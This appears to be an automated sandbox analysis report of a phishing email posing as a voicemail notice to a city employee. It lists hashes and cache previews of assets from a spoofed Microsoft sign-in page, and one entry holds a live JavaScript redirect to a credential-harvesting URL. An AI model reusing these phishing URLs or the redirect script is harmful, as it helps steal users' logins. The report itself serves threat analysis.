.l......}.M\|......{p{..)}N.s.4..<[...e....3..C/=.G.e.i......'.p...<.:.,-..f&.R..E..8.$AIL.Q.........Y..^%&k`....II6..!..NZ.7.'.tm....^..."..Na..5.e..0.6..\.....\|Dm.ah.......o?(0.%@\|.&.....].L.q.K.R'.$lw.t..C..../.../...L....4=...gq>t..c.,...pJ_...).dS..km!+..[).#y7...+"$.U....3.....sZ{.r.....!m.r

Chrome Cache Entry: 127

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
URL:	https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/marching_ants_986f40b5a9dc7d39ef8396797f61b323.gif
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 128

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 449495
Category:	dropped
Size (bytes):	122154
Entropy (8bit):	7.99744530250524
Encrypted:	true
SSDEEP:	3072:9v9hJx1zJnRUQjmGQzaXUbaxNeevNrgvVygWzDx2ztD:9vLJxznRUQqWX++vrEV2zC1
MD5:	7027D81C55DA03ECC976716268413177
SHA1:	74603A93F71F4DAF9B7854A613B9E13963244128
SHA-256:	6190493203550C1CFF1B10EE44B2C4E6D4937CE75E398059CF3CD824FE02AF9F
SHA-512:	BAC2033898F64572CA0F087DA198599C508512537E4BE4F34EA5268800C85EC70EF90511B91DEB5D95C9B2C67F676DBADAA19817C56FDF62D7DABF01F269F4DD
Malicious:	false
Preview:	...........{W.H.8....F3.......V..@...LU.,.pd)m..W.y..~._Dd...e.jv...;[X..........?o._..+..._ex....N+7...+W...........`...7.~R.......0....(.....(vR.T..o.;Ae.G.J...8...iR..$.B#.D.T.{.+'N_+gW.:..6..P.f...!..Q......G...<.X\y~.....Q...J.\.?A#...M..'f....q........!E..5.[L..:..{P.........8...L...u..Ye..b.iTy....x.pR..M.j.......M.a&,~...A%..B.J....2..$x.Lb'D...`.I......cTt.Z.3...L..$.f3...R..~....?.(l..L*.avv...a.x.C.......>.G....!ux.d.\|..$p.......>.m8...3.e.9...\|....GS..e.W.D..&.JN..&B...2..rry.?](.R>l......B...........<....q........]... .%..,......N....N..p....(}.......C@..].] ......m....v.y.P..h.....8...@...]U.z.UV.mzg..O.j.=..+{Zs..?N..jm).h/..c/.-.X.dh.......w....8...:.,...J.d/\|+..k..E..X..D!.....,..z.;..G`o.y..T.B.......jj...yU2.\.....:.0.M~k[6.EcZj..!.F........1 O.Pge...."kM.Wb..p..(......q..(`Z......x2.%..f.P......~..e........,b.zH.Swf....Y.@E"1R..'W..`\.a.....Z6].....R....5=V..y../k......s<.....}NXz..{K.^o..3eU.....7e..Q

Chrome Cache Entry: 129

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

Chrome Cache Entry: 130

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, 24x24 with PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	downloaded
Size (bytes):	2279
Entropy (8bit):	7.354295352983905
Encrypted:	false
SSDEEP:	24:sb8IQUm7Ar/pPwZRbiHGIc+CozPPdv4CA0H+9dCjnmLr7laO+If7xkLLVP:sbvmiRwZUmD+CoTU0HbEXRzxkLBP
MD5:	7E0D59593F3377B72C29435C4B43954A
SHA1:	B4C5C39A6DFB460BBD2EACCEB09EC8079FB6A8E2
SHA-256:	62D706019A0D80173113EF70FBBEE12F286E8E221534BE788448AADA4B14C8E8
SHA-512:	397416A6A96A39F46F22E906A60E56067E5B7B11FB0597A733F862FC077C88D5ED31F51A82709A56F6082FB1F2F72F9A0FE0849E3DD493BB4240C265B546AAD3
Malicious:	false
URL:	https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico
Preview:	............ .....f......... .$...\|... .... .5.......00.... .j.......@@.... .....?......... .....2....PNG........IHDR................a....IDATx..1NCA.C..D@."-en.!.h..8@..9h..".....5M....h..-..l..L..P.Y.^luw...r.(.........w...B({....&.F......N.f%..........^&.x}Zu........g..7m......n?..U`....@.M8.g.-..\|..S.K.!....].%.I......&.I..`...F \|o;....{S....\|..VL...E....IEND.B`..PNG........IHDR..............w=.....IDATx..AJ.A.E_.5...D..$'....<.g.\...!.].!..Y....4...B.......4U...Q..J(...y....%..[t;..>\...~....O....r......e...F....8.d9....4.x.xW..e...c...~W..P2.........[.....r<..,..>....q.\...U...v.'......!.1.....9..:8............I.I.d.......IEND.B`..PNG........IHDR... ... .....szz.....IDATx..AJC1.E.{..... .;..>\..q+.. ..N.j....."8k.P..IF...M..{.8..F..Z.q...~.y}...0.f..U....Z...@yd...4......DT.B..)......v.8.....)..Lq.[....]_jrG$...3.%......i.vU...C...h0.....rz^.].....9..5.....mU~.E..GMF.X....?..Y.U..\|.c.k.v>..@.h..........Nh.u......IEND.B`..PNG........IHDR...

Chrome Cache Entry: 131

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	dropped
Size (bytes):	3620
Entropy (8bit):	6.867828878374734
Encrypted:	false
SSDEEP:	48:ZumKaT5ezv47j2/ZiRDlq16x8XvEUcg777shHdpHVGJqFd:Eal647jPDlL8XvEUcg77kVGyd
MD5:	B540A8E518037192E32C4FE58BF2DBAB
SHA1:	3047C1DB97B86F6981E0AD2F96AF40CDF43511AF
SHA-256:	8737D721808655F37B333F08A90185699E7E8B9BDAAA15CDB63C8448B426F95D
SHA-512:	E3612D9E6809EC192F6E2D035290B730871C269A267115E4A5515CADB7E6E14E3DD4290A35ABAA8D14CF1FA3924DC76E11926AC341E0F6F372E9FC5434B546E5
Malicious:	false
Preview:	GIF89a`.........iii!.......!.&Edited with ezgif.com online GIF maker.!..NETSCAPE2.0.....,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....`.....9..i....Q4......H..j.=.k9-5_..........j7..({.........!.......,....`.....9.......trV.......H....`.[.q6......>.. .CZ.&!.....M...!.......,....`.....8..........:......H..jJ..U..6_....../.el...q.).....!.......,....`.....9.....i..l.go.....H..".U...f......._......5......n..!.......,....`.....:..i......./.....H...5%.kE/5.........In.a..@&3.....J...!.......,....`.....9.......kr.j.....H...-.{Im5c..............@&.........!.......,....`.....9.........j..q....H...].&..\.5.........8..S..........!.......,....`.....9.......3q.g..5....H...:u..............Al..x.q.........!.......,....`.....9......\.F....z....H...zX...ov.........h3N.x4......j..!.......,....`.....9........Q.:......H....y..^...1.........n.!.F......E...!.......,....`.....8.........i,......H....*_.21.I.........%...

Chrome Cache Entry: 132

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	123
Entropy (8bit):	4.7440606735754
Encrypted:	false
SSDEEP:	3:gnkAqRAdu6/GY7voOkADFqpyQP5ESIYDMG0EJO7sDneec7b:7AqJm7+mkcVYDMG0gO7sKdb
MD5:	257CD77384C8F06010AEE80D61D10159
SHA1:	9F81E03602CE60248C3FD6BD8CEB09E5E3AFBA45
SHA-256:	9A47FA1886DDCC2A20760405517889F32D5594CBD77B969517DB543858B22916
SHA-512:	313B390DA23E740B388304ADDFDBC26255435BBAAA3F5C5528F7B0BCD1385DB2AEFB72325AE0E781CE1B1595BECC422DDBC7EFC0CB060477B0DF251313BB4D5E
Malicious:	false
URL:	https://willyadventures.com/wp-about/
Preview:	<script type="text/javascript">window.location.href ="https://avco.co.jp/vm/Oauth-vm-office-caller-api/win10.php";</script>

Chrome Cache Entry: 133

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6584200238076905
Encrypted:	false
SSDEEP:	12:XRt8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:X+UVpkNK0Rwid81p6btk7LqZ6D
MD5:	2D2CBA7D7DC75F3BA9DC756738D41A6E
SHA1:	F87FD26066ED5E52A65DEE0ED2D581D3C3EA15AC
SHA-256:	00E21864CF1BC70302EBB5B496C6C471A7DA8CBF600630B478A3E2376ED20EA2
SHA-512:	46F17658CA247C02F612213025350390D8F62179C8DE26725EB17F5CCFAFDD63F2149DA1765D3C2F3A12FE85EF29CAC58457B0D5C2F8DA8DED6E1231A35F199D
Malicious:	false
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 134

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 135

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1592
Category:	downloaded
Size (bytes):	621
Entropy (8bit):	7.6770058072183405
Encrypted:	false
SSDEEP:	12:XDQ7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:X86qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	ECC8894D3791BEDDB4E0226F8DAB065A
SHA1:	6510EB51E76A49746C526E432455549B50DE5AF1
SHA-256:	64C8C0A9EFBC27AD86EAEC90465B75C52AE8CD68F7E76FC9431DC6AE66072AC3
SHA-512:	02B20BE98C22EBF7886FE68008C4ED42E3F8FF6ADC8DD7BC1A43A8C4F6FD56CC932EFC5500249A4FAA5024574A841AD10FC8DDB8221CB7226E0E16DEA63F7052
Malicious:	false
URL:	https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/signin-options_3e3f6b73c3f310c31d2c4d131a8ab8c6.svg
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 136

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 113805
Category:	downloaded
Size (bytes):	35197
Entropy (8bit):	7.993176616836237
Encrypted:	true
SSDEEP:	768:t3aKQ0NegogH5SxndaGL6HGNDYrcJVIm+O/p+ZjQipRf:tLpo1gH5Sxb5F+s+S4l
MD5:	E10601ECB45E3990518DBCD271E5B4AF
SHA1:	323042E91F19E375B1A6D4BD6F949977771A59B3
SHA-256:	30A7D90CC45B73AFD5AFF6127C2A9DE713637AA5E4B129F889A1FE0223D9D383
SHA-512:	5B92168C4A659E654C0A6E979D808658A4F4F74C4EC6FA5FFE6581FBE86E90E90B6A001360381125200D7023BCA715DCE4953D75C330FB3DD7E7D57DCE29BDB0
Malicious:	false
URL:	https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/js/asyncchunk/convergedlogin_pstringcustomizationhelper_92013fd9f2f609d397ae.js
Preview:	...........kC.H.0......e....0.pX..Iv3..\f..0YY.m..e$.K..o...j..g.3.lpW.......[..Y.?k.Y.......8~.a..../_.;]{.............v...0..q.Dk.w...h-....Z<..l.fA..k3.7..dm....b..-...(,.$...4...f...e...AV..z.mA....O.9........k..h-.......<Z[.GQ.v3....Oq..y:..(..k.$_...._..h-...q..S.ck.=.T......Sq@.:.A.c.(....SDq..Ac.t..m.$Lc....Z...K...O<....f9..p...0Z..3.<...$YK.x.F......v....nm..s$...&..dQ4.......n-.-.......E.XD..-5~...f.....t...-_.....fsg...8kZ..\|.{{....pkv.......\|.o...$.r.Ex...m.....7...k&.......Y;MgA<........z"..D..c..Ry....t..J..?..x>..... ....k1X...?....\|Z?;..^._Z....x9.q\../...R[...E..E. ......Y.Jw....<].:...Pa...\|........x~.z...~..C..m.y..~..F......`P../.Q4..IQ.' ...e)'..0....,........_..C`.xQ...\..'J..QP....?.R.{?....\|.>........E4.GRz...z.k.z.}....h..>.{[E.:.....Vu. ..e6_.o..*.w...>...:.....k~.Y.~..&E._..}}.}%[. ..#......z.5M.b.....z...H.4...l..D.o...z..M.+../..`....?y.J4.=....u.....Z.....E.d.....{0H^...8.....9..h......d..6j......../..z.dW<.`.F.xm.y.

Chrome Cache Entry: 137

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows icon resource - 6 icons, 16x16 with PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced, 32 bits/pixel, 24x24 with PNG image data, 24 x 24, 8-bit/color RGBA, non-interlaced, 32 bits/pixel
Category:	dropped
Size (bytes):	2279
Entropy (8bit):	7.354295352983905
Encrypted:	false
SSDEEP:	24:sb8IQUm7Ar/pPwZRbiHGIc+CozPPdv4CA0H+9dCjnmLr7laO+If7xkLLVP:sbvmiRwZUmD+CoTU0HbEXRzxkLBP
MD5:	7E0D59593F3377B72C29435C4B43954A
SHA1:	B4C5C39A6DFB460BBD2EACCEB09EC8079FB6A8E2
SHA-256:	62D706019A0D80173113EF70FBBEE12F286E8E221534BE788448AADA4B14C8E8
SHA-512:	397416A6A96A39F46F22E906A60E56067E5B7B11FB0597A733F862FC077C88D5ED31F51A82709A56F6082FB1F2F72F9A0FE0849E3DD493BB4240C265B546AAD3
Malicious:	false
Preview:	............ .....f......... .$...\|... .... .5.......00.... .j.......@@.... .....?......... .....2....PNG........IHDR................a....IDATx..1NCA.C..D@."-en.!.h..8@..9h..".....5M....h..-..l..L..P.Y.^luw...r.(.........w...B({....&.F......N.f%..........^&.x}Zu........g..7m......n?..U`....@.M8.g.-..\|..S.K.!....].%.I......&.I..`...F \|o;....{S....\|..VL...E....IEND.B`..PNG........IHDR..............w=.....IDATx..AJ.A.E_.5...D..$'....<.g.\...!.].!..Y....4...B.......4U...Q..J(...y....%..[t;..>\...~....O....r......e...F....8.d9....4.x.xW..e...c...~W..P2.........[.....r<..,..>....q.\...U...v.'......!.1.....9..:8............I.I.d.......IEND.B`..PNG........IHDR... ... .....szz.....IDATx..AJC1.E.{..... .;..>\..q+.. ..N.j....."8k.P..IF...M..{.8..F..Z.q...~.y}...0.f..U....Z...@yd...4......DT.B..)......v.8.....)..Lq.[....]_jrG$...3.%......i.vU...C...h0.....rz^.].....9..5.....mU~.E..GMF.X....?..Y.U..\|.c.k.v>..@.h..........Nh.u......IEND.B`..PNG........IHDR...

Chrome Cache Entry: 138

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
URL:	https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 139

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 352 x 3
Category:	downloaded
Size (bytes):	2672
Entropy (8bit):	6.640973516071413
Encrypted:	false
SSDEEP:	48:ZaOdwduTYPpS9pZy9vDNi1miicsvrJkafMiS+MGQ09DU/X9/4Xp6m5Z9SQcq:4CIuTYPpSTc9vcPZX9/2gzQ/
MD5:	166DE53471265253AB3A456DEFE6DA23
SHA1:	17C6DF4D7CCF1FA2C9EFD716FBAE0FC2C71C8D6D
SHA-256:	A46201581A7C7C667FD42787CD1E9ADF2F6BF809EFB7596E61A03E8DBA9ADA13
SHA-512:	80978C1D262BC225A8BA1758DF546E27B5BE8D84CBCF7E6044910E5E05E04AFFEFEC3C0DA0818145EB8A917E1A8D90F4BAC833B64A1F6DE97AD3D5FC80A02308
Malicious:	false
URL:	https://96f04cf4-b128254c.mx-concord.sbs/shared/1.0/content/images/marching_ants_white_8257b0707cbe1d0bd2661b80068676fe.gif
Preview:	GIF89a`............!..NETSCAPE2.0.....!.......,....`.....6......P.l.......H....I..:qJ......k....`BY..L..&...!.......,....0.............<....[.\K8j.tr.g..!.......,....3............^;...\UK.]\.%.V.c...!.......,....7........`....lo...[.a..*Rw~i...!.......,....;........h.....l.G-.[K.,_XA]..'g..!.......,....?........i.....g....Z.}..)..u...F..!.......,....C...............P.,nt^.i....Xq...i..!.......,....F...........{^b....n.y..i...\C.-...!.......,....H..............R...o....h.xV!.z#...!.......,"...L.............r.jY..w~aP(.......[i...!.......,(...N.............r....w.aP.j.'.)Y..S..!.......,....H.........`......hew..9`.%z.xVeS..!.......,5...A.........`...\m.Vmtzw.}.d.%...Q..!.......,9...=.........h......3S..s.-W8m...Q..!.......,A...5.........h.....N...:..!..U..!.......,H.............h....M.x...f.i.4..!.......,O...'.........i...tp......(..!.......,X.............j...@.x....!.......,].............j..L..3em..!.......,e.............`......!.......,n..............{i..!..

**\Device\Mup\user-PC*\MAILSLOT\NET\NETLOGON**

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\lync.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	3.7452537105656543
Encrypted:	false
SSDEEP:	3:rYtl55I2Y1An+nW4kTllX8FRR:rY4G+Wp6RR
MD5:	2C7E9F9A478342412122D28642E98C72
SHA1:	BB6C22067B2B986D5DB18E5A79ADE26DD0F13269
SHA-256:	446548BEE7C408F9FB548A3D835578910176B4714C9AAF8DA43A8A7F2F4499FE
SHA-512:	07ADBE83AD889A601852A78E764DA6D61F2B2DDF06A0A0C125510156AD4AC00DC4DC2A5CD1561D4506E6BDF099A19AA085585A92CE6C99437397561F2A65AAAB
Malicious:	false
Preview:	....4.4.5.8.1.7.....\MAILSLOT\NET\GETDC7AB31DA6............ ....

Static File Info

General

File type:	RFC 822 mail, ASCII text, with CRLF line terminators
Entropy (8bit):	5.740642833552041
TrID:	E-Mail message (Var. 5) (54515/1) 100.00%
File name:	(No subject) (63).eml
File size:	29'667 bytes
MD5:	bfc1564ef1eb179aeae67e47593aacfa
SHA1:	8c6183fc1f67d826d742d5c173ae7369674bd654
SHA256:	d10dbcaedf2e5709ff2f96a3d24486cab2f77106a769215ea222584edd792959
SHA512:	01c544e4ad1f1bb645a7f4bb18333feca22c84b14afadb86242fdf7bb2cbc12b28dd8f9e919cf41275a86ea88f1d773d9927386cc98969909e7b4a3da62c1c1f
SSDEEP:	192:I2Owgq++Dhl+/4iN7QofJB389mO9e8T3B4lOw326bCKHYDN5zSY8H2o1DVZ4/G0R:NlkCoj2kdz61To/ZKvADoDSDTDsDThz
TLSH:	BDD2D80BE3D14D01CE6B89601403373D3B79AACA9A724D7069EB3F7E174DCE39996648
File Content Preview:	Received: from SJ0PR09MB10337.namprd09.prod.outlook.com.. (2603:10b6:a03:469::17) by BY5PR09MB5266.namprd09.prod.outlook.com with.. HTTPS; Wed, 28 Aug 2024 15:13:21 +0000..Received: from CYXPR09CA0014.namprd09.prod.outlook.com (2603:10b6:930:d4::26).. by

Static Mail

General

Subject:	VM(00:35) 11:11:48 AM D
From:	"Cllr SID:RSOTYJKHHM" <cormackstation@bellnet.ca>
To:	fchun <fchun@santaclaraca.gov>
Cc:
BCC:
Date:	Wed, 28 Aug 2024 11:11:48 -0400
Communications:	You don't often get email from cormackstation@bellnet.ca. Learn why this is important<https://aka.ms/LearnAboutSenderIdentification> NEW V MESSAGE You received a v ml from Ryan J Phelps at rphelps@minettcapital.com<sip:rphelps@minettcapital.com>. Job Title: Snr. Accountant Company: Minett Capital Work: +1 385-232-8300<tel:+1%20585-232-8300> Mobile: +1 385-305-6394<tel:+1%20585-305-6394> Email: rphelps@minettcapital.com<mailto:rphelps@minettcapital.com> Listen to your v ml below. Ass V Ml<https://api.emailinc.net/c.jsp?l=47tqdjb4&s=x88b4wkuqe%23dfsdtosprzvzvrezddwsssfujcrmy> rt 2024 Mrft n. ll t rv.
Attachments:

Headers

Key	Value
Received	from lux-net-ip.as51430.net ([74.12.179.82]) by cmsmtp with ESMTP id jKKtsE0P1ePnGjKKusuaOv; Wed, 28 Aug 2024 11:11:53 -0400
Authentication-Results	spf=pass (sender IP is 204.101.250.110) smtp.mailfrom=bellnet.ca; dkim=pass (signature was verified) header.d=bellnet.ca;dmarc=bestguesspass action=none header.from=bellnet.ca;compauth=pass reason=109
Received-SPF	Pass (protection.outlook.com: domain of bellnet.ca designates 204.101.250.110 as permitted sender) receiver=protection.outlook.com; client-ip=204.101.250.110; helo=tor12vbusocmrk06.srvr.bell.ca; pr=C
